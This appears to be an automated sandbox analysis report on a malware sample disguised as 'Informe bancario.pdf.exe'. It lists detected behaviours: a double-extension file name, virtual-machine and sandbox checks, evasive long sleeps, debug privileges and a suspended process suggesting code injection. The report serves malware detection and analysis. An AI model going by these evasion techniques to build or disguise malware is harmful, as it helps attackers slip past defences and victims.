Hooking and other Techniques for Hiding and Protection
barindex
Uses an obfuscated file name to hide its real file extension (double extension)
Source: Possible double extension: pdf.exe Static PE information: Informe bancario.pdf.exe
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information set: NOGPFAULTERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Informe bancario.pdf.exe PID: 6496, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe TID: 6524 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe TID: 6828 Thread sleep time: -300000s >= -30000s Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 5_2_00403D74
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Thread delayed: delay time: 60000 Jump to behavior
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00402B7C GetProcessHeap,RtlAllocateHeap, 5_2_00402B7C
Enables debug privileges
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_0040317B mov eax, dword ptr fs:[00000030h] 5_2_0040317B
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Memory allocated: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe C:\Users\user\Desktop\Informe bancario.pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe C:\Users\user\Desktop\Informe bancario.pdf.exe Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Users\user\Desktop\Informe bancario.pdf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
